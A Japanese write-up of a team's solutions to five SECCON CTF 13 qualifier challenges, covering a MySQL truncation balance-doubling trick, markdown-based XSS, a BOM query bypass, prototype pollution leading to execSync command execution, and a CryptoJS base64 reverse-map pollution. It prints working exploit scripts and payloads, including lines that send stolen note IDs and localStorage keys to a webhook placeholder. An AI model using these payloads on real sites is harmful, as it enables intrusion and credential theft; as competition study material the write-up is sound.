SECCON CTF 13 Quals writeup
FCCPC として SECCON CTF 13 Quals に参加し、全体 40 位(国内 12 位)でした。まともに CTF 始めたのが今年の 9 月くらいで、人生初の writeup です。
国内決勝は 8 チームまでなのでだめそう。最後に実装が間に合わなかった問題が解けていれば決勝行けていたので悔しい。
web の問題が得意なので、web を中心に解いていた。
競技時間中に解いた問題
- (web) Trillion Bank (84 solves)
- (web) Tanuki Udon (41 solves)
- (web) self-ssrf (23 solves)
- (jail) pp4 (41 solves)
解法が思いついていたが実装が間に合わず終了 30 分後に解けた問題
- (web) JavaScrypto (13 solves)
Trillion Bank
問題の概要
POST /api/register
でユーザー登録すると、残高 10
のユーザーが作成される。
POST /api/transfer
で、自分から指定したユーザー名に送金できる。
そして、残高が Trillion (10^12) になるとGET /api/me
のレスポンスにフラグが含まれる。
単純にユーザー作りまくって送りまくるのでは時間かかりすぎて無理。
/api/transfer の脆弱性
transfer では自分自身に送金することはできず、残高より大きい値や負の値も送金できないようにチェックされている。ただ、このエンドポイント内では以下の SQL が実行される。ここに怪しい点がある。
UPDATE users SET balance = balance - ? WHERE id = ?
UPDATE users SET balance = balance + ? WHERE name = ?
最初のクエリで自分の残高を減らし、2 番目のクエリで相手の残高を増やすことで送金を実装しているが、この 2 番目のクエリは、もし同じユーザー名が存在する場合はそのユーザー名のユーザー全てに送金される。これが利用できると、この銀行の金が倍になるということなので、指数関数的にお金を増やしていけそう。(この倍々ゲームのアイディアはチームメイトの saltcandy123 が思いついた)
同じユーザー名のユーザー登録
しかし、ユーザー登録時に以下のチェックがあり、単純に同じユーザー名のユーザーを作ることはできなさそう。
const names = new Set();
// ...
if (names.has(name)) {
res.status(400).send({ msg: 'Already exists' });
return;
}
names.add(name);
DB は MySQL(mysql:8.0.40
)を使っている。たしか MySQL はデフォルトでは大文字小文字を区別しないのでuser0
とUSER0
が作れれば解けるが、以下の正規表現のチェックもあったため、小文字か数字のみでないといけない。
if (!/^[a-z0-9]+$/.test(name)) {
res.status(400).send({ msg: 'Invalid name' });
return;
}
name の最大文字数があるのか調べるために、データベースのテーブルを確認してみる。
CREATE TABLE users (
id INT AUTO_INCREMENT NOT NULL,
name TEXT NOT NULL,
balance BIGINT NOT NULL,
PRIMARY KEY (id)
)
name が TEXT だが、ググってみたら MySQL の TEXT は最大 65,535 文字までだった。これは利用できそう。
早速ユーザー名を 100,000 文字くらいにして登録すると、DB では 65,535 文字で残りは切り捨てられることを確認した。これで、同じユーザー名のユーザーを作ることができ、transfer で倍々ゲームができるようになる。
解法
送金対象が自分自身になっているか確認するために、
SELECT * FROM users WHERE name = ?
の結果の最初の行の id で照合しているので、user0 -> user1, user1 -> user0 と送金を繰り返すことはできない。
これを回避するために、user1 -> user0, user0 -> user2, user2 -> user0 と送金することで、user0 の残高を指数関数的に増やしていくことができる。
以下のようなコードでフラグが得られる。
prefix = random.randint(100000, 999999)
# 65535 文字
user0 = f'{prefix}{"b" * (65535 - 6)}'
# 65535 + 6 文字
user1 = f'{prefix}{"b" * 65535}'
# 9 文字
user2 = f'{prefix}{"tmp"}'
await register(session0, user0)
await register(session1, user1)
await register(session2, user2)
initial_balance = 10
multiplier = 1.6 # 計算めんどかったので適当に設定(1より大きければ指数的に増えるのですぐにTrillion超える)
for i in range(60):
amount = int(initial_balance * (multiplier ** i))
await transfer(session1, user0, amount) # user1 -> user0 and user1
await transfer(session0, user2, amount * 2) # user0 -> user2
await transfer(session2, user0, amount * 2) # user2 -> user0 and user1
print(await get_me(session0))
print(await get_me(session1))
print(await get_me(session2))
フラグ
{"id":4049,"iat":1732495711,"balance":29447451079600,"flag":"SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}"}
{"id":4050,"iat":1732495712,"balance":58894902159190,"flag":"SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}"}
{"id":4051,"iat":1732495712,"balance":10}
Tanuki Udon
問題の概要
Title と Content を入力してノートを作成できる。Content はマークダウン形式で書ける。
URL を提出すると、puppeteer 製 bot が、フラグをノートに書き込んで保存する。その後、提出した URL を読み込んでくれる。
/
にアクセスすると、ログインしているユーザーのノート一覧が表示されるので、bot にそれをアクセスさせ、結果をどうにか盗み見るとフラグが得られる。
これは CTF ではよくあるタイプの問題で、スクリプトを仕込んだ悪質な HTML をノートに埋め込み、それを bot に読ませ、フラグを盗み見るというもの。
マークダウンから HTML への変換
以下のコードで、マークダウンから HTML への変換が行われている。入力 HTML のエスケープ処理が行われている。
const escapeHtml = (content) => {
return content
.replaceAll('&', '&')
.replaceAll(`"`, '"')
.replaceAll(`'`, ''')
.replaceAll('<', '<')
.replaceAll('>', '>');
}
const markdown = (content) => {
const escaped = escapeHtml(content);
return escaped
.replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
.replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
.replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
.replace(/ $/mg, `<br>`);
}
例えば、こんな感じに変換されている。
![image](http://example.com/a.png) -> <img alt="image" src="http://example.com/a.png"></img>
[link](http://example.com) -> <a href="http://example.com">$1</a>
**text** -> <strong>text</strong>
この変換の脆弱性
もし"
がalt
やsrc
、href
に入れられるのだとしたら、src
をb" onerror=alert(1) "
とかにして、<img alt="a" src="b" onerror=alert(1) "">
とかできてしまう。
しかし、escapeHtml
でエスケープされているので、単純にこれはできない。
そこで、markdown
内でreplace
が順番に行われていることに注目すると、マークダウンを 2 重にしておかしなことができることに気づく。
たとえば、img
のalt
にマークダウンのリンクが入った 2 重構造のマークダウンを作ってやると、
<img alt="<a href="http://example.com">$1</a>" src="http://example.com/a.png"></img>
のようになる。こうすることで、img
のalt
の構造を破壊することができた。これを利用する。
![a[b](c)]( src=d onerror=location='javascript:alert(1)' )
こうすることで、img
にonerror
を生やすことができ、alert(1)
が実行される。XSS 成功。
解法
あとはノートの URL を取得するスクリプトを書いて、いい感じにエスケープしたりする。
-
/
にアクセスさせる - 結果のノート URL 部分を regex で取得
- それを Webhook URL に付与して、location.href にセット
- Webhook のログを確認
以下のコードで出力されるマークダウンもどきをノートに貼り、そのノートを admin bot に提出
script=`fetch('/').then(res=>res.text()).then(r=>r.match(/note\\\\/[a-zA-Z0-9]+/g).join(',')).then(r=>location.href='https://REPLACE_WITH_YOUR_WEBHOOK_URL?'+r)`
escaped = script.replace(/\(/g, '\\x28').replace(/\)/g, '\\x29').replace(/'/g, '\\x27')
console.log(`![a[b](c)]( src=d onerror=location='javascript:${escaped}' )`)
フラグ
SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}
self-ssrf
問題の概要
問題のコードはとてもシンプル。
import express from 'express';
const PORT = 3000;
const LOCALHOST = new URL(`http://localhost:${PORT}`);
const FLAG = Bun.env.FLAG!!;
const app = express();
app.use('/', (req, res, next) => {
if (req.query.flag === undefined) {
const path = '/flag?flag=guess_the_flag';
res.send(`Go to <a href="${path}">${path}</a>`);
} else next();
});
app.get('/flag', (req, res) => {
res.send(
req.query.flag === FLAG // Guess the flag
? `Congratz! The flag is '${FLAG}'.`
: `<marquee>🚩🚩🚩</marquee>`
);
});
app.get('/ssrf', async (req, res) => {
try {
const url = new URL(req.url, LOCALHOST);
if (url.hostname !== LOCALHOST.hostname) {
res.send('Try harder 1');
return;
}
if (url.protocol !== LOCALHOST.protocol) {
res.send('Try harder 2');
return;
}
url.pathname = '/flag';
url.searchParams.append('flag', FLAG);
res.send(await fetch(url).then((r) => r.text()));
} catch {
res.status(500).send(':(');
}
});
app.listen(PORT);
最初のapp.use('/')
でreq.query.flag
がない場合は、/flag?flag=guess_the_flag
にリダイレクトする。ある場合は/flag
や/ssrf
にアクセスする。
GET /flag
では、req.query.flag
が本物のフラグと一致するかチェックしている。
GET /ssrf
では、req.url
をhttp://localhost:3000/
をベースにした URL に変換し、パスを/flag
にして、その URL に本物のフラグをsearchParams
に追加し、その URL にアクセスしている。
一見、/ssrf
にアクセスすればフラグが得られそうに見えるが、/flag?flag=a&flag=real_flag
となってしまうので、req.query.flag
が配列となってしまい、req.query.flag === FLAG
というチェックに引っかかってしまう。つまり、fetch のときにflag
が一つでないとこのチェックは通らない。
解法
express
(qs
)の query のパースと、Bun のURL
のsearchParams
の処理の違いとかかなあと思い、github でコードを眺めたりしていたが全然思いつかず。適当に flag 前後に特殊文字とか追加して実験しまくる。Bun の中で UTF-8 の BOM を無視する系のコードを見たので、試しにflag
前後に UTF-8 BOM (\uFEFF
)を追加して送ってみた。
なんと、フラグが得られた。実際なんでこれができるのかは、ちゃんと内部のコードを追っていないので説明できないけどコンテスト中なのでとりあえず次の問題へ。
ちなみに、fetch や curl ではなく、生の HTTP リクエストを送っている。
const net = require('net');
const client = new net.Socket();
client.connect(3000, 'self-ssrf.seccon.games', () => {
client.write(
`GET http://localhost:3000/ssrf?flag\uFEFF HTTP/1.1\r\nHost: self-ssrf.seccon.games:3000\r\n\r\n`
);
});
client.on('data', (data) => {
console.log('data:', data.toString());
client.end();
});
フラグ
Congratz! The flag is 'SECCON{Which_whit3space_did_you_u5e?}'.
pp4
問題の概要
以下のコードが実行されている。どうやら最初の入力でプロトタイプ汚染させ、その上で最大 4 種の文字だけでなるコードを実行させるというもの。
フラグは/flag-<hash>.txt
というパスにあり、具体的なファイル名は分からない。
// Step 1: Prototype Pollution
const json = (await rl.question('Input JSON: ')).trim();
console.log(clone(JSON.parse(json)));
// Step 2: JSF**k with 4 characters
const code = (await rl.question('Input code: ')).trim();
if (new Set(code).size > 4) {
console.log('Too many :(');
return;
}
console.log(eval(code));
プロトタイプ汚染ができるので、最初に
{"__proto__": { "a": "b" } }
という入力を与えておくと、JavaScript のコード内で({}).a
や({})['a']
や[]['a']
の結果は'b'
になる。
これをうまいこと利用して文字種が減らし、fs.readdirSync('/')
やらを実行させファイル名を取得し、それを読み込んでフラグを得る問題。
解法
結論から言うと、使う文字種は[]
と()
の 4 種類。
プロトタイプ汚染で
{"__proto__": { "": "ぽにょぽにょ" } }
としておくと、[][[]]
は[]['']
と同じなので、[
と]
だけで"ぽにょぽにょ"
が得られるようになる。
そして、他の文字列も定義するために、更にこれをキーとする。
{"__proto__": { "": "ぽにょぽにょ", "ぽにょぽにょ": "ばなな" } }
こうすることで、[][[][[]]]
は[]['ぽにょぽにょ']
と同じなので、[
と]
だけで"ばなな"
が得られるようになる。
これを利用して、以下のコードと同等のものを作りたい。
[].constructor
.constructor('return process')()
.mainModule.require('child_process')
.execSync('ls /flag*')
.toJSON(); // toString() だとプロトタイプ汚染するときにバグってしまう
ちょっと書き直すとこうなる。
[]['constructor']
['constructor']('return process')()
['mainModule']['require']('child_process')
['execSync']('ls /flag*')
['toJSON']();
これは、[]()
と、文字列のみで表現される。文字列部分をプロトタイプ汚染の JSON に入れておく。
{
"__proto__": {
"": "return process",
"return process": "mainModule",
"mainModule": "require",
"require": "child_process",
"child_process": "execSync",
"execSync": "toJSON",
"toJSON": "ls /flag*",
"ls /flag*": "constructor"
}
}
最後に、文字列を[]
で表現して送る。
そうすると、まずフラグのファイル名(cat /flag-1863aa693df962ff8433c6b227d63dc0.txt
)が得られ、上のls /flag*
をcat /flag-1863aa693df962ff8433c6b227d63dc0.txt
に変換してもう 1 回送るとフラグが得られる。
フラグ
SECCON{prototype_po11ution_turns_JavaScript_into_a_puzzle_game}
JavaScrypto
Crypto はあまり詳しくないのでなんとなく最初敬遠していたがちゃんと読んでみたら Crypto の知識いらなさそうだったので解いてみた。まあジャンル web だし。
問題の概要
Tanuki Udon と同じように、ノートを作成し、XSS を仕込んで bot にアクセスさせる問題。
ただ、ノートは暗号化されていて、localStorage に保存されている key と、サーバー上にある iv を利用して復号化されている。初回アクセス時は key はランダムで生成され、localStorage に保存される。
自分を対象に XSS を仕込むのは簡単だけど、bot 側の key が予測できないので復号化させることができない。
ノート保存の流れ
以下の 4 つの値を使って、CryptoJS.AES.encrypt
で暗号化されている。
-
plaintext
(#noteInput
に書いた内容) -
key
(ローカルストレージに保存されている) -
iv
(暗号化直前にランダム生成された値) -
salt
(暗号化直前にランダム生成された値)
そして、iv
と暗号化された結果 (ciphertext
)をサーバーに送る。
サーバー側では、このiv
とciphertext
を保存する。その際、ノートのid
となる UUID を生成してクライアントに返す。
その後、クライアントの localStorage に、currentId
をキーにしてこのid
を保存する。
ノート読み込みの流れ
URL のパラメーターからid
(なければ localStorage のcurrentId
)を使って、GET /note/:noteId
で、先ほど保存したiv
とciphertext
をサーバーから取得する。
その後、以下の 3 つの値を使って、CryptoJS.AES.decrypt
で復号化する。
ciphertext
-
key
(ローカルストレージに保存されている) iv
プロトタイプ汚染(脆弱性のあるライブラリ)
index.html
に、見たことのないライブラリを使っている箇所があった。
<script
src="https://cdnjs.cloudflare.com/ajax/libs/purl/2.3.1/purl.min.js"
integrity="sha512-xbWNJpa0EduIPOwctW2N6KjW1KAWai6wEfiC3bafkJZyd0X3Q3n5yDTXHd21MIostzgLTwhxjEH+l9a5j3RB4A=="
crossorigin="anonymous"
referrerpolicy="no-referrer"
></script>
調べてみると、purl@2.3.1
は 10 年くらい前のものらしい。CTF でこんだけ古いライブラリを使うってことはなにかあるんだろうなあと思い脆弱性があるのかググってみると、プロトタイプ汚染ができるらしい。
コードを読んでみると、ライブラリ内のこの辺のコードが原因だとわかる。
function merge(parent, key, val) {
if (~key.indexOf(']')) {
var parts = key.split('[');
parse(parts, parent, 'base', val);
} else {
if (!isint.test(key) && isArray(parent.base)) {
var t = {};
for (var k in parent.base) t[k] = parent.base[k];
parent.base = t;
}
if (key !== '') {
set(parent.base, key, val);
}
}
return parent;
}
function parseString(str) {
return reduce(
String(str).split(/&|;/),
function (ret, pair) {
try {
pair = decodeURIComponent(pair.replace(/\+/g, ' '));
} catch (e) {}
var eql = pair.indexOf('='),
brace = lastBraceInKey(pair),
key = pair.substr(0, brace || eql),
val = pair.substr(brace || eql, pair.length);
val = val.substr(val.indexOf('=') + 1, val.length);
if (key === '') {
key = pair;
val = '';
}
return merge(ret, key, val);
},
{ base: {} }
).base;
}
function set(obj, key, val) {
var v = obj[key];
if (typeof v === 'undefined') {
obj[key] = val;
} else if (isArray(v)) {
v.push(val);
} else {
obj[key] = [v, val];
}
}
index.html
内にあるpurl().param().id
でこのpurl
の関数を呼び出している。
試しにhttp://localhost:3000/?__proto__[ponyo]=polluted
みたいにすると、プロトタイプ汚染ができることが確認できた。
とはいえ、プロトタイプ汚染を使って攻撃できる場所がなかなか見つからない。
CryptoJS
CryptoJS 内に何かプロトタイプ汚染できそうな箇所がないのか探すことにした。
note.js
で以下のように key を生成しているので、random(16)
の結果を固定できれば攻撃できそうだと思ったが、デバッガで攻撃可能性を探っていたがrandom
内にはどうやらなさそう。
const getOrCreateKey = () => {
if (!localStorage.getItem('key')) {
const rawKey = CryptoJS.lib.WordArray.random(16);
localStorage.setItem('key', rawKey.toString(CryptoJS.enc.Base64));
}
return localStorage.getItem('key');
};
次に注目したのがnote.js
のdecryptNote
。
const decryptNote = ({ key, iv, ciphertext }) => {
const rawKey = CryptoJS.enc.Base64.parse(key);
const rawIv = CryptoJS.enc.Base64.parse(iv);
const rawPlaintext = CryptoJS.AES.decrypt(ciphertext, rawKey, {
iv: rawIv,
});
return rawPlaintext.toString(CryptoJS.enc.Latin1);
};
localStorage
内の key を固定できなくても、base64 のパース結果をどうにかできればいけそう。デバッガでステップ実行し、base64 のパースロジックを解析する。
parse: function (t) {
var e = t.length,
r = this._map;
if (!(i = this._reverseMap))
for (
var i = (this._reverseMap = []), o = 0;
o < r.length;
o++
)
i[r.charCodeAt(o)] = o;
for (
var n,
s,
c = r.charAt(64),
a = (!c || (-1 !== (c = t.indexOf(c)) && (e = c)), t),
h = e,
l = i,
f = [],
d = 0,
u = 0;
u < h;
u++
)
u % 4 &&
((s = l[a.charCodeAt(u - 1)] << ((u % 4) * 2)),
(n = l[a.charCodeAt(u)] >>> (6 - (u % 4) * 2)),
(s = s | n),
(f[d >>> 2] |= s << (24 - (d % 4) * 8)),
d++);
return U.create(f, d);
},
_map: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',
this._reverseMap
は最初は初期化されておらず、一旦初期化したら次から再利用するようになっている。
ということは、this._reverseMap
をプロトタイプ汚染で先に値を定義してやれば、自由な値にすることができる。
Base64 parse の結果をいじる
this._reverseMap
は、this._map
の逆引きをしているようだ。
例えばthis._map
は、0 -> A, 1 -> B, ...のような変換だが、this._reverseMap
は、A -> 0, B -> 1 のような変換をするためのオブジェクトになっている。つまり、this._reverseMap[x]
が全てのx
に対して 0 を返すように定義すれば、全ての base64 はAAAAAAAAAAAA..
という base64 と同等になる。
これで、bot 上での key
を 0x0000000000000000 に固定できる。ついでにiv
も固定されてしまうが、こちらで攻撃用ノートを作成するときにiv
を自分で指定できるので問題ない。
decrypt 内部での base64 パース
これで一見解けたような気がしたが、実はciphertext
も base64 なので、CryptoJS.AES.decrypt
内でも、内部的に上記の base64 パースのコードが呼ばれてしまっている。
そうすると、全てのciphertext
はAAAAAAAAAAAA..
という base64 と同等になって、何を書いても同じ値に復号化されてしまう。
このパースだけ例外的に処理したい。
自作の base64
サーバー側のコードを読んでいると、POST /note
ではiv
, ciphertext
を受け取り、メモリ上に保存するが、それらの値については、string
かどうかについてしかチェックしていない。
つまり、base64 以外の文字種(適当な記号とか)も含めることもできる。
更に、CryptoJS 内の base64 パースでも、base64 以外の文字種については特に例外を発生させたりはしていない。
これを利用して、例えば *
-> 0, @
-> 1, ...というように、base64 の使用文字を自分で自由に設定することができる。
本来の base64 ではABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=
を使うが、これに含まれる文字だけで新しい base64 を定義してやり、ciphertext
を本来の base64 から新しい base64 に変換してやれば、key
やiv
は本来の base64 なので、0x0000000000000000 に固定でき、ciphertext
は自由な値にすることができる。
このあたりで、残り時間的に間に合うか微妙だったので、暇そうにしていたチームメイトで元競プロ勢の kyuridenamida に、自作 base64 の割り当てと、ciphertext
を新しい base64 に変換する処理を書き始めてもらうことにして、その間に残りの部分を考えることにした。
上書きされちゃう currentId
ここまでで任意のスクリプトを bot に実行させることができる。しかし、これだけではまだ攻撃はできない。
index.html
内にあるこのコードを見てみよう。
readNote({
id,
key,
}).then((content) => {
if (content) {
localStorage.setItem('currentId', id);
document.getElementById('note').innerHTML = content;
} else {
document.getElementById('note').innerHTML = 'Failed to read';
}
});
フラグが保存されてるノートの id が bot のブラウザの localStorage で、currentId
に保存されているが、攻撃用のノートを読み込ませると、そのノートを HTML 上に表示させる前にcurrentId
を攻撃用ノートの id で置き換えられてしまう。そうすると、例え任意のスクリプトが実行できたとしても、そのスクリプト内でcurrentId
を読み込んでも攻撃用ノートの id になってしまう。つまりフラグ用の id が得られない。
だが、もし並列にページを表示させ、
- ページ 1 で攻撃用ノートを読み込み
- ページ 2 でフラグノートを読み込み(デフォルトでは前回表示したノートが読み込まれるため、パラメータ無しでページを開くだけ)
- ページ 1 で
currentId
を上書き - ページ 1 でスクリプト読み込み
- ページ 2 で
currentId
を上書き(フラグノート) - ページ 1 でスクリプト実行
という流れにすれば、ページ 1 で、ページ 2 が上書きしたフラグノートの id を取得できる。
攻撃用ページの作成・ホスティング
複数ページを表示させるのは、この与えられたサイト上では不可能だが、自分でページを作成し、window.open
を使ってページを 2 つ開くことで実現できる。
window.open
ではなく iframe も試してみたけど localStorage の値は読み込めないみたい。
<html>
<body>
<script>
// setTimeoutは必要ないかも
setTimeout(() => {
// 攻撃用ノート
window.open(
`http://web:3000/?id=REPLACE_WITH_ATTACK_NOTE_ID&__proto__[_reverseMap][0]=0&__proto__[_reverseMap][1]=1...`, // ほんとはもっと続く
'_blank'
);
// フラグ用ノート
window.open('http://web:3000/', '_blank');
}, 1000);
</script>
</body>
</html>
これを ngrok を使ってホスティングする。
攻撃用ノートのアップロード
こんなスクリプトが実行できれば、bot のcurrentId
とkey
を取得できる。
setTimeout(() => {
location.href =
'https://REPLACE_WITH_WEBHOOK_URL?' +
localStorage.getItem('currentId') +
':' +
localStorage.getItem('key');
}, 2000);
img
タグのonerror
を利用する。ノートの内容はこうなる。
<img
src="a"
onerror="setTimeout(()=>{location.href='https://REPLACE_WITH_WEBHOOK_URL?'+localStorage.getItem('currentId')+':::'+localStorage.getItem('key') }, 2000)"
/>
このノートの内容を一旦ローカルから、key
とiv
を 0x0000000000000000 に固定した状態でアップロードする。すると、base64 のciphertext
が得られる。
こうして得たciphertext
を自作 base64 に変換(この変換スクリプトは kyuridenamida に書いてもらう)して、以下のスクリプトを自分のブラウザに貼り付け、攻撃用ノートとしてアップロードする。
(async () => {
const { id } = await fetch('/note', {
method: 'POST',
body: JSON.stringify({
iv: 'AAAAAAAAAAAAAAAAAAAAAA==',
ciphertext: 'これを自作base64でエンコードされた値に置き換える',
}),
headers: {
'content-type': 'application/json',
},
}).then((r) => r.json());
return id;
})();
時間切れ
時間ギリギリに kyuridenamida の変換スクリプト完成!!これでフラグゲット!!
と思ったらスクリプトが少しバグっていた?みたいでダメだった。。。
kyuridenamida は 24 時間起きていて眠いのに無茶振りしてしまったが、良くやってくれたと思います。ありがとうございました。
終了後に修正したスクリプト
コンテスト終了後にスクリプトを少し修正して、得られたciphertext
と URL パラメーターを使ったら id と key が得られた。
let originalReverseMap = JSON.parse(
`[null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,62,null,null,null,63,52,53,54,55,56,57,58,59,60,61,null,null,null,64,null,null,null,0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,null,null,null,null,null,null,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51]`
);
let newmap = [...originalReverseMap];
cnt = 0;
for (let i = 0; i < 140; i++) {
if (originalReverseMap[i] === null || originalReverseMap[i] === undefined) {
newmap[i] = cnt++;
} else {
newmap[i] = null;
}
}
console.log(
'URLパラメーター',
newmap
.map((e, i) =>
e == null
? `__proto__[_reverseMap][${i}]=0`
: `__proto__[_reverseMap][${i}]=${e}`
)
.filter((e) => e)
.join('&')
);
newrev = {};
for (let i = 0; i < 140; i++) {
newrev[newmap[i]] = i;
}
const payload = `本来のbase64でエンコードされたciphertext`;
const newb64 = payload
.split('')
.map(
(e) =>
`\\x${newrev[org[e.charCodeAt(0)]].toString(16).padStart(2, '0')}`
)
.join('');
console.log('ciphertext', newb64);
自分のブラウザで、localStorage のkey
を webhook で得られた値にして、URL で得られたid
を指定したらフラグが得られた。
フラグ
SECCON{I_can't_make_real_crypto_challenges}
Discussion